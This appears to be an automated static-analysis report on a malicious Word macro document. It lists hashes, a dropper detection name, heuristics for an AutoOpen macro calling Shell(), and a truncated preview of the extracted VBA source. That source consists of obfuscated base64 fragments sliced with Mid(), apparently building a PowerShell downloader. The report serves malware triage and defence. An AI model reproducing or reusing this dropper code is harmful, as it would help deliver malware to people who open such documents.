Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 555d2787d706e2d5…

MALICIOUS

Office (OLE)

77.5 KB Created: 2017-11-06 22:49:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 3ce28c97b07068d7358447d98b761033 SHA-1: 3067be4eebd3c67e808b3c80961a6b335d7a0fb8 SHA-256: 555d2787d706e2d5ec4342356e9204d3b6f5fd646c63ee078f4e93e07902a1b3
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro with an AutoOpen function that utilizes the Shell() function, a common technique for executing arbitrary commands. This macro is likely responsible for downloading and executing a secondary payload, as indicated by the ClamAV detection name 'Doc.Dropper.Agent-6367310-0'. No specific malware family could be confidently identified.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6367310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6367310-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13327 bytes
SHA-256: d9e5b7e29cdcaae41b4073e8e8ea31c76c518a7a940ece8adff66dffdcf2e5fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 27 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IzPTiNVkT"
Function jauERoPPf()
KcXGPTZO = Mid("MVOgAxADIANwBMADEANgA1AF8AMQAwADYATAA1ADcAewA0ADcAYQA1ADYASQAxADIAMwAlADEANgAwb3vjwKA6Fmc7", 3, 76)
clirLqSj = Mid("RMdV1pEuGYANQA0AEwAMQA1ADAAZgAxADYANABfADEANgA0AEwAMQA2ADAAYQA3ADIAJQA1ADcAOgA1ADcAOgAxADYAMwA6ADEANQAzAEwAMQA1ADwVKt8LvZujcfNnvBoC1rsQD", 9, 105)
mitDYX = Mid("JZHC263uRQBMsAMQA1ADQAJQAxADUAMQAsADEANAA1ACwAMQA1ADYA9Sb", 13, 42)
dGhABd = Mid("X8ak9v1ahL4zK95X89s33F35kJA0ACYANQA2AF8AMQAwADQAYQAxADUANwAsADEANgA3ACwAMQA1ADYASQAxADUANABhADEANQA3AEwAMQA0ADEAXwAxADQANABMADEAMAA2AHsAMQA1ADEAJgAxADUANAAmADEANAA1AEkANQAwACYANAA0ACUAMQA2ADUARZCJORrG", 27, 166)
FqqTzC = Mid("8MYRX3MSQAxADQAMwAsADEANAA1AEkAMQA2ADAAXwAxADYANABmADEANQAxAGYAMQA1ADcASQAxADUANgAmADUANgBfADEAMQA1ACUAMQA0ADUAewAxADHGLB", 8, 110)
wibZUSDzvhB = Mid("TjzlIDEANgA0ADoAMQA2ADAAewA3ADIAewA1ADcASQA1ADcALAAxADUANABhADEANAA1AGEAMQA0ADEATAAxADQANAAsADEANAA1AGEAMQA2ARTKfjUzZE73", 6, 104)
wSskOaNwwH = Mid("aHALuEZ56A38AhAJQUXWihUAMQA3ADIASQAxADUANABMADEANgA0AGYAMQA3ADEALAAxADEANQBhADUANwAsADUANAA6ADEANQAwAGEEoQkUTdXocv", 23, 81)
KJZmsjaKD = Mid("zP2wVQ2AEwANAAwACwANAA0ACwAMQA2ADUAYQAxADYAMgBfADEANQA0ADoAMQA2ADMAJQA1ADEASQAxADcAMwBMADEANgA0ADoAMQA2ADIAJgAxADcAMQBMADEANwAzACUANAA0ACUAMQA2ADczB9wZP", 7, 140)
cCYNtEzOU = Mid("WfJzA9QNlOI4jMACwAMQA3ADUALAAxADcANQAnACAALQBTAFAATABJAFQAIAAnAF8AJwAgAC0AcwBwAEwAaQB0ACAAJwAmACcALQBTAHAAbAJMujzdXsjrS", 15, 94)
qlNqG = Mid("Rq3YFtMb3IYAXwAxADQAMwBfADEANQA3AEwAMQA1ADUAZgA1ADcALAAxADIAMgBfADUANwAsADUANABmADEANQAwAEwAMQA2ADQAJgAxADYANAAlADEANgAwAInCuTwHSjtsRmwPrscfJV8woLZij", 11, 111)
MCMhIPaOLu = Mid("b0zjzk6RuahtwiIB2zBNcEZ9fK8gALQBvAEIAagBFAEMAVAB7ACAAKAAgAFsAQwBvAG4AVgBlAHIAdABdADoAOgBUAE8AaQBuAHQAMQA2ACgAKAAgAFsAUwBUv9aELEp3K", 28, 94)
CsoNOBLM = Mid("LWewAxADYANAAlADEANAA1AHsANQA1AGYAMQA1ADAATAAxADUANwBJADEANgAzAEwAMQA2ADQAOgA0ADAAZgA0ADQASQAxADMANwBfADUANgBfADEAMAA1AEkAMQA3ADAAUIOIANdo", 3, 128)
pFijwi = Mid("Mo3duEfF8AMQA0ADMALAAxADYANABJADQAMABJADEAMgAzACYAMQA3ADEAXwAxADYAMwAsADEANgA0ACUAMQA0ADUAYQAxADUANQAsADUANgBhADEAMQA2ADoAMQA0ADUATAAxADYANABmADUANgAlAOkAzKvcUHhz", 8, 144)
oXoABFo = Mid("wswJKQA0ADMAZgAxADUANwBmADEANQA1ACYANQA3ACUAMQAxADIAOgAxADQAMwAsADEANAAzACUAMQA0A6R9XZjGEnnSYUcrAoXoftIpprAq", 6, 76)
ZfjnANbpm = Mid("GBAHsAMQA1ADQAJgAxADUAMQAsADEANgA0ACwANQAwACYANAA3AEkANQA0AEkANAA3AF8ANQAxAGYANwAzACwANAA0ADoAMQA1AZp6m0ljC27LFp1jA5a", 3, 97)
WBiTUwC = Mid("5XNDewAxADYAMgBfADEANQAxADoAMQA2ADAAJQAxADYANABmADQAMABmADcANQAsADQAMABhADEANQA2AHsAMQA0ADUAOgAxADYANwB7ADUANQA6ADEANQA3ACYAMQA0ADIAYQAxADUAMgBJADEANAA1ADoAMQA0ADMAOgAxADYANiqA52UXO", 5, 169)
ATOdkRwj = Mid("PHcILqVNIrNAewAxADQANQBmADEANAAyAHsAMQA0ADMALAAxADUANABMADEANQAxkDmKS2", 12, 53)
mTqkkXb = Mid("sFjtwXrINwjrpSiXsCwoWsOMPaobqjABMADEANAA1ACwANAA3ACUANwAzAEwAMQA0ADYAJQAxADUANwBJADEANgAyAEkAMQA0ADUAYQAxADQAMQAsADEANAAzAGYAMQA1ADAAJQA1ADAAXW8rXoi", 31, 112)
mJIdMDZvBC = Mid("8s4iHMQrAq3LjI3WAq95bCjvO3RnsOkkSMlwlmC", 6, 2)
zICpzOmXb = Mid("OUM3i2Si7oOmNMEkcEP4zFEkAMQA1ADQASQAxADUAMQAsADEANAA1ACwAMQA1Aj8", 23, 40)
ivbTAcaPz = Mid("7jzAOgAxADYANAAsADUANQAsADEAMgAwADoAMQA2ADIAOgAxADUANwBMADEANAAzADoAJEk8UikmBk8cDu65LJEpdsbM4bQ", 4, 65)
OsJzFviHD = Mid("Di6z5DzzGAEkANAAwAEwANwA1ADoANAAwAGEANAA0AGEAMQA0ADUAJQAxADUANgAsADEANgA2AEkANwAyACUAMQA2ADQAXwAxADQANQAsADEANQA1ADoAMk1kMAzrTViSwubCHK2dduZoU8QzM", 10, 109)
lwfzDI = Mid("I57sYsQA2ADAAYQA0ADAALAA1ADMAJgA0ADAAYQA0ADcALAAxADMANABJADQANwBmADQAMAB7ADUAMwBJADQAMAAmADQANAB7ADEANQA2ADoAMQA0ADEAYQAxADUANQBJADEANAA1ACUANAAwAGEANQAzAEkANAAwACwANAA3ACwANQA2ACYAMQA0ADUAJQAxADcAMGSmr", 7, 192)
JHKdhRv = Mid("Hu7QQAGwAaQB0ACcAOgAnACAAfAAgAEYATwByAGUAQQBjAGrU4wBG", 5, 43)
iSUZo = Mid("dJAoANQA3ACUAMQA2ADAAYQAxADQAMQBfADEANQAzAGEAMQA1ADEAZgAxADYAMwBMADEANgA0AF8AMQA0ADEAewAxADUANgAmADEANQAzAHsAMQA1ADEAYQAxADYAMABmADEANQA3ACwAMQA2ADcAewAxADQANQBmADE
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.